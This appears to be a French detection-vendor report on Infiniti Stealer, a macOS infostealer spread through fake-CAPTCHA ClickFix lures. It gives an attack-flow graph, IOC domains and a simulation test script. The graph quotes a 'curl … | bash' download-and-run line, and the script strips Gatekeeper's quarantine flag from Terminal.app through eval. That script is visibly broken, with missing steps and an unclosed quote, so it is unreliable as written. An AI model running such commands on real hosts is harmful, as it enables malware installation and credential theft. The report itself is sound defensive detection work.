Infiniti Stealer : un nouvel infostealer macOS utilisant ClickFix et Python/Nuitka
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un nouvel infostealer macOS nommé Infiniti Stealer a été repéré en utilisant un leurre d’ingénierie sociale ClickFix pour infecter les utilisateurs. Le malware est construit avec Nuitka, qui convertit le code Python en un binaire Mach-O natif, rendant l’inspection statique plus difficile. Une fois exécuté, il vole des identifiants, des données du trousseau d’accès, des fichiers de portefeuilles de cryptomonnaie et d’autres informations sensibles, puis exfiltre les données collectées via des requêtes HTTP POST. La campagne repose également sur une fausse page CAPTCHA hébergée sur un domaine malveillant pour inciter les victimes à exécuter une commande Bash nuisible.
Enquête
Les chercheurs ont découvert la charge utile lors d’une chasse aux menaces de routine et l’ont d’abord suivie sous le nom temporaire NukeChain avant que le panneau de l’acteur de la menace n’expose le marquage final en tant qu’Infiniti Stealer. L’analyse a révélé un flux en trois étapes : un dropper Bash livré via un faux CAPTCHA, un chargeur compilé par Nuitka, et un module voleur basé sur Python. Le dropper place le binaire dans /tmp, supprime l’attribut de quarantaine et le lance tout en passant les détails C2 via des variables d’environnement. La dernière étape collecte des données à partir des navigateurs, du trousseau, des portefeuilles et des fichiers liés au développeur avant de les envoyer au serveur contrôlé par l’attaquant.
Atténuation
Les utilisateurs ne devraient jamais copier et exécuter des commandes à partir de sites web inconnus, en particulier les pages prétendant vérifier des défis CAPTCHA. Les défenseurs devraient inspecter et supprimer les fichiers suspects dans /tmp or ~/Library/LaunchAgents, effectuer une analyse anti-malware de confiance, et changer les mots de passe de tous comptes potentiellement exposés depuis un système propre. Tout jeton d’API actif ou clé SSH qui pourrait avoir été collecté devrait également être révoqué.
Réponse
Les équipes de détection devraient surveiller le script dropper et le binaire compilé par Nuitka en surveillant la création de fichiers dans /tmp qui correspond au schéma de nommage décrit. Les alertes devraient se déclencher lors de l’exécution de la commande Bash malveillante et sur le trafic HTTP POST sortant vers le domaine C2 identifié. L’accès au réseau à update-check.com and infiniti-stealer.com devrait être bloqué. Un examen légal basé sur l’hôte devrait alors identifier les identifiants volés et soutenir les réinitialisations d’identifiants obligatoires.
« graph TB
%% Class definitions section
classDef action fill:#99ccff
classDef tool fill:#ffcc99
classDef malware fill:#ff9999
classDef process fill:#ccffcc
classDef artifact fill:#cccccc
classDef operator fill:#ff9900
%% Node definitions
action_initial_access[« Action – T1204.004 User Execution: Malicious Copy and Paste
Description: Victim copies and pastes a malicious command into a terminal, leading to code execution. »]
class action_initial_access action
artifact_captcha_page[« Artifact – Fake CAPTCHA page
URL: update-check.com
Provides copyu2011paste command to the victim. »]
class artifact_captcha_page artifact
action_execution_dead_drop[« Action – T1102.001 Web Service: Dead Drop Resolver
Description: Uses a web service as a deadu2011drop to retrieve additional payloads. »]
class action_execution_dead_drop action
process_curl_download[« Process – curl
Command: curl -sSfL … | bash
Downloads stageu20111 Bash dropper. »]
class process_curl_download process
artifact_temp_binary[« Artifact – Temporary binary
Location: /tmp/
Quarantine flag removed after download. »]
class artifact_temp_binary artifact
action_defense_evasion_sandbox[« Action – T1497.002 User Activity Checks & T1497.003 Time Based Evasion
Description: Detects virtualization or analysis environments before proceeding. »]
class action_defense_evasion_sandbox action
action_guardrails[« Action – T1480.002 Execution Guardrails: Mutual Exclusion
Description: Ensures only a single instance runs on the host. »]
class action_guardrails action
action_file_deletion[« Action – T1070.004 File Deletion
Description: Deletes temporary files and logs after use. »]
class action_file_deletion action
action_obfuscation[« Action – T1027.005 Obfuscated Files or Information
Description: Uses obfuscation to hide malicious payloads. »]
class action_obfuscation action
action_collection_input_capture[« Action – T1056 Input Capture
Description: Captures browser credentials, keychain entries, crypto wallet data, and screenshots. »]
class action_collection_input_capture action
artifact_collected_data[« Artifact – Collected Sensitive Data
Browser credentials, keychain entries, crypto wallet files, screenshots. »]
class artifact_collected_data artifact
action_exfiltration_alternative[« Action – T1048 Exfiltration Over Alternative Protocol
Description: Sends data via HTTP POST to a remote server. »]
class action_exfiltration_alternative action
artifact_c2_domain[« Artifact – C2 Domain
update-check.com »]
class artifact_c2_domain artifact
artifact_telegram_notification[« Artifact – Telegram Notification
Attacker receives status updates via Telegram. »]
class artifact_telegram_notification artifact
action_lateral_tool_transfer[« Action – T1570 Lateral Tool Transfer
Description: Downloads additional payloads on demand for further compromise. »]
class action_lateral_tool_transfer action
artifact_additional_payload[« Artifact – Additional Payloads
Downloaded as needed for later stages. »]
class artifact_additional_payload artifact
%% Connections showing flow
action_initial_access –>|delivers| artifact_captcha_page
artifact_captcha_page –>|triggers| action_execution_dead_drop
action_execution_dead_drop –>|uses| process_curl_download
process_curl_download –>|writes| artifact_temp_binary
artifact_temp_binary –>|enables| action_defense_evasion_sandbox
action_defense_evasion_sandbox –>|includes| action_guardrails
action_defense_evasion_sandbox –>|includes| action_file_deletion
action_defense_evasion_sandbox –>|includes| action_obfuscation
action_file_deletion –>|removes| artifact_temp_binary
action_obfuscation –>|obfuscates| artifact_temp_binary
action_defense_evasion_sandbox –>|leads_to| action_collection_input_capture
action_collection_input_capture –>|captures| artifact_collected_data
artifact_collected_data –>|sent_via| action_exfiltration_alternative
action_exfiltration_alternative –>|targets| artifact_c2_domain
artifact_c2_domain –>|notifies| artifact_telegram_notification
action_exfiltration_alternative –>|enables| action_lateral_tool_transfer
action_lateral_tool_transfer –>|downloads| artifact_additional_payload
«
Flux d’attaque
Détections
Évasion possible des défenses en contournant MacOS Gatekeeper (via la ligne de commande)
Voir
Manupulation possible de chaînes encodées en Base64 [MacOS] (via la ligne de commande)
Voir
Tentative d’exécution Curl suspecte [MacOS] (via la ligne de commande)
Voir
IOCs (HashMd5) pour détecter : Infiniti Stealer : un nouvel infostealer macOS utilisant ClickFix et Python/Nuitka
Voir
IOCs (HashSha256) pour détecter : Infiniti Stealer : un nouvel infostealer macOS utilisant ClickFix et Python/Nuitka
Voir
Détection d’infection par Infiniti Stealer via l’exécution de commande Terminal [Création de processus Linux]
Voir
Exécution de simulation
Prérequis : Le contrôle préalable de télémétrie et de base doit avoir réussi.
Narration et commandes d’attaque
Un attaquant livre un lien de phishing qui, une fois ouvert sur un poste de travail macOS, exécute la commande suivante en une seule ligne dans Terminal. La commande :
- Télécharge une URL encodée en base64 (l’hôte de la charge utile) via
curl -sSfL. - Décode la chaîne base64 pour révéler l’URL HTTPS réelle.
- Exécute le script téléchargé avec
bash. - Exécute sous
nohuppour le garder actif après la fermeture du terminal. - Supprime l’attribut de quarantaine (
xattr -dr com.apple.quarantine) pour contourner Gatekeeper.
Ces étapes produisent exactement les fragments de ligne de commande que la règle Sigma surveille, générant ainsi l’alerte attendue.
Script de test de régression
#!/usr/bin/env bash
# ------------------------------------------------------------
# Simulation d'infection par Infiniti Stealer (macOS)
# ------------------------------------------------------------
# 1. Construire la commande malveillante en une seule ligne (exactement comme la règle l'attend)
MALICIOUS_CMD="bash /dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"
# 3. Exécuter la commande
eval "$MALICIOUS_CMD"
# 4. Attendre quelques secondes pour permettre l'ingestion par le SIEM
sleep 5
# 5. Afficher un marqueur pour la vérification manuelle
echo ">>> Simulation exécutée – surveillez le SIEM pour une alerte <<<"
Commandes de nettoyage
#!/usr/bin/env bash
# ------------------------------------------------------------
# Nettoyage après simulation d'Infiniti Stealer
# ------------------------------------------------------------
# Tuer tous les processus nohup en arrière-plan démarrés par la simulation
pkill -f "bash /dev/null || true
echo "Nettoyage terminé."
Fin du rapport